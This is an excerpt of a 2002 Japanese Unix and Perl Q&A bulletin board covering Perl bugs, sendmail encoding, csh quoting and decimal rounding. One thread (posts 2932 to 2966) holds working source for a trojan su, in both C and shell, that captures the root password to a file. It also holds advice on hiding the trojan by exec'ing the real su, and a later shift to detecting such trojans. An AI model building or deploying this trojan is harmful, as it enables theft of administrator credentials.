        ($bname = $fname, $A, $B, $C) = split;
        $data{$bname}{A} += $A;
        $data{$bname}{B} += $B;
        $data{$bname}{C} += $C;
    }
    for $bname (sort keys %data) {
        print join, /\t/, $bname,
            $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n";
    }

とか書いたらどうしても数値が若干少なくなってしまいます。
数万行あって、ほとんどの行は合ってるんだけど
全体の数字が少ない、、。
しかも、カラム A と B は合ってるのに C だけ少ない。

よくよく見るとファイル名に空白が入ってて、
split /\t/ にしないといけなかったんでした。
しかも、ファイル名が空白のデータは特定のカラムにしか
データがなかった。
ふつうこんな間違い方はしませんが、同時に複数の問題が
発生していて、すごくハマりました(泣)

No. 2919 # みー [E-mail] 2002/10/27 (日) 17:33:09
はじめまして。さっそくなんですが質問です。
掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。
ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。
元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。
#------------------メール送信機能-------------------------#
open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。");
print MAIL <<"_MAIL_";
From: ars\@xx.xx
To: hide_mkhs\@yahoo.co.jp
MIME-Version: 1.0
Subject: A-train railway service
X-Mailer: Sendmail
Content-type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit

投稿がありました。
名前:$name
題名:$subject
メールアドレス:$mail
ホームページ:$url
メッセージ:$msg
---------------------------------------
投稿者情報
IP:$ip
ホスト:$host
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
_MAIL_
close(MAIL);
#--------------------メール送信機能------------------------#
こう書き加えたんですが…
いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは
投稿がありました。
名前:みー
題名:新規
メールアドレス:ars@starcity.ne.jp
ホームページ:http://www.starcity.ne.jp/~ars/
メッセージ:<b>タグは‥?</b>どうでしょう?
---------------------------------------
投稿者情報
IP:218.133.200.111
ホスト:YahooBB218133200111.bbtec.net
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は&gt;となってしまいます。

どうすればいいのか教えてください。

No. 2920 # ふくし 2002/10/29 (火) 02:10:19
>>2919 みー
メールは HTML じゃなくてプレーンテキストなので、
タグが見え見えだったり改行がそのままだったりするんでしょう。
HTML 形式を維持するなら
HTML メールをサポートしてるメーラーに
HTML 形式のメールを送ればいいんじゃないでしょうか。
(その場合ヘッダはどうなるんでしょうね。
    よくわかりません。よく広告とかで壁紙がついてきたりするから、
    できることはわかっているのだが、、)
題名が文字化けなのは、ISO-2022-JP を正しく読み込んで
ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、
jcode.pl あたりで変換するとか。

No. 2921 # yuk 2002/10/30 (水) 11:50:10
こんにちは。
ちょっとわからないことが有ります。
ご存知の方は教えていただけますでしょうか。
cshで、

set str = "abc def" (←abcとdefの間は全角スペース)
echo $stf

とすると、

abc def (←abcとdefの間は半角スペース)

と表示されてしまいます。
なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、
どのようにすれば良いでしょうか?

No. 2922 # yuk 2002/10/30 (水) 11:52:39
>>2921(訂正)

echo $stf
ではなく
echo $str
でした。

No. 2923 # 68user 2002/11/01 (金) 22:50:29
>>2917 G
> 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,
> ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
HP-UX の sh は知りませんが、FreeBSD の sh では
          ${parameter##word}
                          最長前置パターンの削除: まず word が展開され、その結果をパターン
                          として扱います。パラメータ parameter の左から、パターンに一致する
                          最長の部分を削除した文字列に置換されます。
とあるので、多分同じでしょう。

> ${CFG_FILE##*/}
basename(1) と同じでしょうね。

> ${fname##*[.,~\#]}" = "$fname"
ファイル名に . , ~ # が含まれていないことをチェックしている
のだと思います。

こういう場合は sh -x /etc/rc.config などとして、どういう
ふうに解析されているのかを調べるというのも一つの手です。

>>2921 yuk
> abc def (←abcとdefの間は半角スペース)
> と表示されてしまいます。
そういう処理をする csh があるとは知らなかったので、OS 名を
教えてください。で、本題ですが echo "$str" でいけるんじゃ
ないでしょうか。

No. 2924 # G 2002/11/06 (水) 13:47:19
2923>
ご返答ありがとうございました。
sh -x コマンドは初めて知りました。
これから活用させていただきます。

No. 2925 # なお@HP-UX11 2002/11/06 (水) 16:21:46
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?

No. 2926 # ふくし [E-mail] 2002/11/15 (金) 05:05:47
会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、
ローカルに Perl 5.8 を入れてみました。
(ちょっとテストで失敗したんだけど、よくわかんないので
    入れてしまつた ;;;)
=== big5 => UTF-8 ===
#! perl
use encoding 'utf8', STDIN=>'big5';
while (<STDIN>) {
        print;
}
というのはうまくいったっぽいんですが、
=== UTF-8 => big5 ===
#! perl
use encoding 'big5', STDIN=>'utf8';
while (<STDIN>) {
        print;
}
というのは UTF-8 側に BOM(efbbbf)があると
そこがそのまま出てきます。
use encoding 'big5', STDIN=>'utf8';
を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが
(で、BOM はもしあったら事前にカットする)
うまくいきませんでした。つたない質問ですみませんが
何かわかりましたらご教示ください。

No. 2927 # kiki 2002/11/17 (日) 21:23:54
はじめまして。
c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが,
なかなかうまくいきません.どなたか教えていただけないでしょうか.

ソースは以下のとうりです.

#include<stdio.h>
#include<stdlib.h>

main(int argc, char *argv[])
{
    char buf[100];

    sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
    system(buf);

    exit(1);
}

コンパイルは通って,実行時にエラーは出ませんでした.
bufに文字列はしっかり送られていました.
export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で
打つと,しっかりPATHは変更されました.

よろしくお願いします.

No. 2928 # G 2002/11/18 (月) 19:48:53
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか?

/HP-UX

No. 2929 # NAGISA 2002/11/18 (月) 20:17:26
はじめまして。こんばんは。UNIXについて質問があります。
与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。
アドバイスを頂けたら幸いです。よろしくお願いします。

No. 2930 # 68user 2002/11/18 (月) 21:28:01
>>2926 ふくし
すいませんが、わかりません。
# 僕の知識は perl-5.00503 で止まっているので…。

>>2927 kiki
system は内部で fork して、子プロセスが sh を実行します。

> sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
> system(buf);

によって、子プロセスが実行する sh の環境変数は変更されますが、sh は
すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は
渡りません。

ではどうすればよいか、という話になりますが、
> .bash_profileのPATHを変更したいのですが,
なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると
対策も見えてくるかもしれません。


>>2928 G
> 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る
> 簡単な方法はありませんでしょうか?
こんな感じでしょうか。
    % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|'
    /aaa


>>2929 NAGISA
> 与えられた引数を、そのままエコーバックするシェルスクリプト
そういう場合は「エコーバック」とは言わないような気がしますが、
    #!/bin/sh
    echo $@
とか、
    #!/bin/sh
    for i in $@; do
        echo $i
    done
とか。

No. 2931 # 68user 2002/11/18 (月) 21:29:21
>>2925 なお@HP-UX11
> あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?
ps コマンドなぞどうでしょうね。

No. 2932 # kiki 2002/11/19 (火) 12:53:52
>>2931 68userさん
お返事ありがとうございます.kikiです.

> .bash_profileのPATHを変更したいのですが,
セキュリティに関する勉強でsuコマンドになり済ますトロイ
について勉強していまして,実際に自分のPCで実験しています.

suコマンドを使うユーザのアカウントを入手してあるという場合
を想定して,自分の一般ユーザ権限から自分の管理者権限のパス
ワードを盗むという実験です.手順は

1.あるディレクトリにトロイをおいて
2.PATH変更,トロイ置場を先に検索するようにする.
3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに
  書き込んで,トロイは自分を削除する.
4.suコマンドをもう一度実行,本物のsuコマンドが起動

です.3.の手順までは問題なく進みましたが,4.を実行すると
bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない
といわれてしまいました.

suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが,
どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.
そこで,suトロイの中でPATHを変更しようと思ったのです.

No. 2933 # G 2002/11/19 (火) 16:04:44
>>2930 68user
いつもありがとうございます。
ただ感謝と尊敬の念でいっぱいです。
また、宜しくお願いします。

No. 2934 # ふくし 2002/11/20 (水) 23:52:58
>2930
さん、ありがとうございます。
5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
結構面白いっぽいですよ。
(インストールで失敗してるぼくの言うことじゃないが ;;;

No. 2935 # 68user 2002/11/21 (木) 04:13:12
>>2932 kiki
シェルを置き換えたのか、~/.bash_profile を書き換えて
自作 su を起動するようにしたのかよくわかりませんが、

> 2.PATH変更,トロイ置場を先に検索するようにする.
ができているなら、後は /usr/bin/su を起動すればいいだけ
だと思います。そこで PATH が出てくる理由がよくわかりません。


>>2934 ふくし
> 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
> 結構面白いっぽいですよ。
うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って
しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと
安全になった open。

それ以外はまーいいやって感じです。

ときに our って C でいうところの
        int get_num(){
                static int num=1;
                return num++;
        }
        main(int argc, char *argv[])
        {
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
        }
のような static だと思い込んでいたんですが、今 本を読み直してみると
なんか違うような気も。

あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
順番を保持するハッシュ (セットした順に keys が返ってくる) って
導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
見つけられない。

# キー固定のハッシュは Class::Struct を使えばいいのかな。

No. 2936 # 68user 2002/11/21 (木) 04:23:03
>>2935 68user
> あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
> 順番を保持するハッシュ (セットした順に keys が返ってくる) って
> 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
> 見つけられない。
みびょーに違う話のような気もしますが、perl-5.005_03 でも
      $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186];
      print "$john->{eyes}\n";
      print "$john->[2]\n";
てな書き方ができるんですねぇ。これは知らなかった。

No. 2937 # ふくし [E-mail] 2002/11/21 (木) 16:26:20
すいません、今度は Perl 5.005_03 の話です ;;;
経理システムで、
・単価はドル建てだが、セント未満の端数がありうる
    (1個につき 0.001 ドルとか)
・個数は「個」だが、1個未満の端数がありうる
    (0.1 個とか)
という条件で、単価x個数=売上を、
小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、
という問題で
「100倍して int して100で割る」ということをしていました。

#! perl
$tanka = 10000.88; # ドル
$kosuu = 1; # 個
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
print "uriage x 100 = $uriage100\n";
$uriage = int($uriage100)/100;
print "uriage = $uriage\n";

しかしこうすると、int(1000088) は 10000088 になるので、
uriage x 100 = 1000088
uriage = 10000.87
となります。もっとも手軽な回避方法はなんでしょうか。
もしお分かりでしたらご教示ください。

No. 2938 # 初心者 [E-mail] 2002/11/21 (木) 17:02:30
cshrcファイルの内容について皆さんにお聞きしたいです。
source .cshrcコマンドを出すときにUnmatchedといわれていますけど、
どこに問題があるかは良く分かりません。
cshrcの内容は以下のようになります*************
# .cshrc

# User specific aliases and functions
# alias rm 'rm -i'
alias ls 'ls --color'
alias cp 'cp -i'
alias mv 'mv -i'

#setenv PATH "/usr/sbin:/sbin:$PATH"
setenv NCARG_ROOT "/usr/local/ncarg"
setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
              :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
              :/home/hongbin/rams4.3/chq1/plvrams:$PATH"
#setenv LD_LIBRARY_PAYH "/usr/FFC/lib"
#setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man"

setenv PGI "/usr/pgi"

set path = ( $PGI/linux86/bin $path )

if($?MANPATH ==1) then
        setenv MANPATH $PGI/man:$MANPATH
else
        setenv MANPATH $PHI/man
endif

#setenv MANPATH "$MANPATH":$PGI/man
setenv LM_LICENSE_FILE "$PGI/license.dat"
setenv MANPATH "$PGI/man:$NCARG_ROOT/man"

set prompt='[%n@%m %c]#'

*****************
どこが間違っているでしょうか。
よろしくお願いします。

No. 2939 # 名無し 2002/11/21 (木) 17:07:21
>>2937 ふくし
sprintfは?

No. 2940 # 名無し 2002/11/21 (木) 17:09:27
>>2938 初心者
この書き方は出来るのかな??複数行にわたるクオート

setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
                            :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
                            :/home/hongbin/rams4.3/chq1/plvrams:$PATH"

No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

No. 2968 # kiki 2002/12/03 (火) 17:53:30
>>2967 68user様
お返事ありがとうございます.

>syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます

これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ
を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って,
syslogdにメッセージを渡すという事なのでしょうか?


P.S.
システムコールで見分ける,ですね.
確かに,suトロイと本物のsuだとやっている事はちがうから
見分けられるかも知れませんね.アドバイスありがとうございます.

No. 2969 # kiki 2002/12/04 (水) 21:25:13
>>2967 68user様

何回も申し訳ありません.kikiです.

>exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。

これは,システムコールのチェックを自動化させて行なえばよい,
という事なのでしょうか?

基本的な事で申し訳ありません.

No. 2970 # ふくし [E-mail] 2002/12/05 (木) 18:47:37
いつもすいません、質問です。
以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。

カンタンにいうと、入れ子になったタグで囲まれた部分だけを
別ファイルに抜き出し、元ファイルからは削除する、です。

順序を保存して抜く方法と、
保存しないで抜く方法とあると思いますが、
どちらでもかまいません。
(前者の方がいいかなぁ、、)

入力ファイル:

out1
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
out2
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
out3
<tag f>
  in9
</tag>
out4

出力ファイル例1:(順序を保存して抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

